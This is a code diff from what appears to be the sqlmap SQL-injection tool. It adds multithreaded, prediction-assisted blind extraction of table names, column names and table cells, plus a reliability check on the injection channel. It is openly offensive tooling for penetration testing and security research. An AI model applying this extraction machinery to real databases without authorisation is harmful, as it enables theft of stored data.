# Adaptive intra-run prediction (good samaritan / --predict-output): remember this extracted
|
||||
# value for its enumeration context so later same-context items sharing structure are predicted
|
||||
# faster. Length-capped (identifiers are short -> large data cells never bloat/pollute the pool);
|
||||
# a wrong prediction only ever costs a probe and falls back to bisection.
|
||||
if (conf.predictOutput and kb.partRun and kb.commonOutputs is not None
|
||||
# Adaptive intra-run prediction: remember this extracted name for its enumeration context so
|
||||
# later same-context items sharing structure (e.g. wp_posts / wp_users ...) are predicted faster.
|
||||
# Fed ONLY single-threaded (not kb.multiThreadMode) so it never mutates the pool while a
|
||||
# value-parallel worker is iterating it. Length-capped; a wrong prediction only costs a probe.
|
||||
if (kb.partRun in NAME_PREDICTION_CONTEXTS and not kb.multiThreadMode and kb.commonOutputs is not None
|
||||
and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH
|
||||
and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS):
|
||||
kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue)
|
||||
|
|
@ -861,6 +1158,42 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
|
||||
_ = finalValue or partialValue
|
||||
|
||||
# Record this cell for the column's low-cardinality guessing cache (frequency-tracked so the most
|
||||
# common values are probed first; bounded so a clearly high-cardinality column stops accumulating).
|
||||
if columnKey is not None and finalValue:
|
||||
# Track the column's low-cardinality cache and observed character set. Guarded by the prediction
|
||||
# lock because value-parallel dump workers update these concurrently.
|
||||
ordinals = set(ord(_c) for _c in finalValue if ord(_c) < 128)
|
||||
with kb.locks.prediction:
|
||||
seen = kb.lowCardCache.setdefault(columnKey, {})
|
||||
if finalValue in seen or len(seen) <= LOW_CARDINALITY_THRESHOLD + 2:
|
||||
seen[finalValue] = seen.get(finalValue, 0) + 1
|
||||
|
||||
if ordinals:
|
||||
existing = kb.dumpCharset.setdefault(columnKey, set())
|
||||
grew = not ordinals.issubset(existing) # did this row introduce a never-seen character?
|
||||
existing.update(ordinals)
|
||||
# Trust the observed alphabet as closed only after it stays unchanged for several consecutive
|
||||
# rows. A column that keeps growing (monotonic PK, high-entropy text) resets the counter and
|
||||
# never triggers the restricted search, so it is never charged the miss-then-escalate cost.
|
||||
kb.dumpCharsetStable[columnKey] = 0 if grew else kb.dumpCharsetStable.get(columnKey, 0) + 1
|
||||
|
||||
# Oracle-reliability litmus: on bulk extraction (dumps / name enumeration) periodically fire a
|
||||
# known-answer differential so an always-true / flaky / degraded channel that would otherwise dump
|
||||
# SILENT garbage instead raises a one-time "results may be unreliable" warning. First value is always
|
||||
# checked (catch it before a whole bad dump), then every ORACLE_LITMUS_CHECK_EVERY-th.
|
||||
if (ORACLE_LITMUS_CHECK_EVERY and finalValue and not kb.reliabilityAlarm and not kb.bruteMode
|
||||
and (columnKey is not None or kb.partRun in NAME_PREDICTION_CONTEXTS)):
|
||||
with kb.locks.prediction:
|
||||
kb.litmusCounter += 1
|
||||
due = (kb.litmusCounter == 1 or kb.litmusCounter % ORACLE_LITMUS_CHECK_EVERY == 0)
|
||||
if due and not oracleReliabilityLitmus(expressionUnescaped, finalValue, timeBasedCompare):
|
||||
kb.reliabilityAlarm = True
|
||||
warnMsg = "the target's responses are inconsistent for known-true/known-false probes "
|
||||
warnMsg += "(reads-everything-true, WAF, or a flaky/degraded channel); extracted data may "
|
||||
warnMsg += "be unreliable. Consider raising '--time-sec', lowering '--threads', or retrying"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _
|
||||
|
||||
def queryOutputLength(expression, payload):
|
||||
|
|
|
|||
|
|
@ -401,26 +401,39 @@ class Databases(object):
|
|||
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
|
||||
indexRange = getLimitRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
if Backend.isDbms(DBMS.SYBASE):
|
||||
query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||
query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
||||
query = _query % index
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO):
|
||||
query = _query % (index, unsafeSQLIdentificatorNaming(db))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,):
|
||||
query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index)
|
||||
else:
|
||||
query = _query % (unsafeSQLIdentificatorNaming(db), index)
|
||||
# Value-parallel, prediction-assisted name enumeration for the DBMSes using the
|
||||
# generic "<db>, <index>" blind template. Retrieves whole names concurrently (one per
|
||||
# worker, each decoded sequentially so wordlist prediction applies). Used only with
|
||||
# '--threads' (like getColumns below); single-thread stays on the classic getValue loop,
|
||||
# which still gets predictive inference via getPartRun. The special templates stay serial.
|
||||
genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER)
|
||||
|
||||
table = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
if genericTemplate and conf.threads > 1 and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
|
||||
for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []):
|
||||
if not isNoneValue(table):
|
||||
kb.hintValue = table
|
||||
tables.append(safeSQLIdentificatorNaming(table, True))
|
||||
else:
|
||||
for index in indexRange:
|
||||
if Backend.isDbms(DBMS.SYBASE):
|
||||
query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
|
||||
query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
||||
query = _query % index
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO):
|
||||
query = _query % (index, unsafeSQLIdentificatorNaming(db))
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,):
|
||||
query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index)
|
||||
else:
|
||||
query = _query % (unsafeSQLIdentificatorNaming(db), index)
|
||||
|
||||
if not isNoneValue(table):
|
||||
kb.hintValue = table
|
||||
table = safeSQLIdentificatorNaming(table, True)
|
||||
tables.append(table)
|
||||
table = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
|
||||
if not isNoneValue(table):
|
||||
kb.hintValue = table
|
||||
table = safeSQLIdentificatorNaming(table, True)
|
||||
tables.append(table)
|
||||
|
||||
if tables:
|
||||
kb.data.cachedTables[db] = tables
|
||||
|
|
@ -841,7 +854,7 @@ class Databases(object):
|
|||
logger.error(errMsg)
|
||||
continue
|
||||
|
||||
for index in getLimitRange(count):
|
||||
def columnNameQuery(index):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO):
|
||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
|
||||
query += condQuery
|
||||
|
|
@ -880,8 +893,22 @@ class Databases(object):
|
|||
query += condQuery
|
||||
field = condition
|
||||
|
||||
query = agent.limitQuery(index, query, field, field)
|
||||
column = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
return agent.limitQuery(index, query, field, field)
|
||||
|
||||
indexList = list(getLimitRange(count))
|
||||
|
||||
# Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per
|
||||
# worker, decoded sequentially - no length probe, predictive inference applies, names stream
|
||||
# live). Serial fallback for single-thread and when also fetching per-column comments.
|
||||
columnNames = None
|
||||
if conf.threads > 1 and not conf.getComments and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
|
||||
columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns")
|
||||
|
||||
for position, index in enumerate(indexList):
|
||||
if columnNames is not None:
|
||||
column = unArrayizeValue(columnNames[position])
|
||||
else:
|
||||
column = unArrayizeValue(inject.getValue(columnNameQuery(index), union=False, error=False))
|
||||
|
||||
if not isNoneValue(column):
|
||||
if conf.getComments:
|
||||
|
|
|
|||
|
|
@ -418,41 +418,70 @@ class Entries(object):
|
|||
debugMsg += "dumped as it appears to be empty"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
def cellQuery(column, index):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0])
|
||||
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
|
||||
else:
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)
|
||||
|
||||
return agent.whereQuery(query)
|
||||
|
||||
try:
|
||||
for index in indexRange:
|
||||
# Value-parallel dumping: one whole cell per worker, decoded sequentially, so there
|
||||
# is NO per-cell LENGTH() probe (the position-parallel path needs one to split a
|
||||
# value's characters across threads) and the per-column Huffman model + low-cardinality
|
||||
# guessing engage under concurrency. Used for the boolean channel with '--threads'; the
|
||||
# classic per-character-parallel loop stays for single-thread and time-based.
|
||||
if conf.threads > 1 and not conf.dnsDomain and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
|
||||
# One value-parallel pass over every (non-empty) cell, so there is a single
|
||||
# thread pool and values stream live as they complete - out of order, exactly
|
||||
# like the error/union dumps - instead of a silent progress counter.
|
||||
nonEmpty = [_ for _ in colList if _ not in emptyColumns]
|
||||
tasks = [(column, index) for column in nonEmpty for index in indexRange]
|
||||
retrieved = inject._threadedInferenceValues(lambda pair: cellQuery(pair[0], pair[1]), tasks, charsetType=None, dump=True) if tasks else []
|
||||
retrieved = retrieved if retrieved is not None else [None] * len(tasks)
|
||||
|
||||
offset = 0
|
||||
for column in colList:
|
||||
value = ""
|
||||
entries[column] = BigArray()
|
||||
lengths.setdefault(column, 0)
|
||||
|
||||
if column not in lengths:
|
||||
lengths[column] = 0
|
||||
|
||||
if column not in entries:
|
||||
entries[column] = BigArray()
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0])
|
||||
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
|
||||
if column in emptyColumns:
|
||||
values = [NULL] * len(indexRange)
|
||||
else:
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)
|
||||
values = retrieved[offset:offset + len(indexRange)]
|
||||
offset += len(indexRange)
|
||||
|
||||
query = agent.whereQuery(query)
|
||||
for value in values:
|
||||
value = '' if value is None else value
|
||||
lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
|
||||
entries[column].append(value)
|
||||
else:
|
||||
for index in indexRange:
|
||||
for column in colList:
|
||||
if column not in lengths:
|
||||
lengths[column] = 0
|
||||
|
||||
value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
|
||||
value = '' if value is None else value
|
||||
if column not in entries:
|
||||
entries[column] = BigArray()
|
||||
|
||||
lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
|
||||
entries[column].append(value)
|
||||
value = NULL if column in emptyColumns else inject.getValue(cellQuery(column, index), union=False, error=False, dump=True)
|
||||
value = '' if value is None else value
|
||||
|
||||
lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
|
||||
entries[column].append(value)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
kb.dumpKeyboardInterrupt = True
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue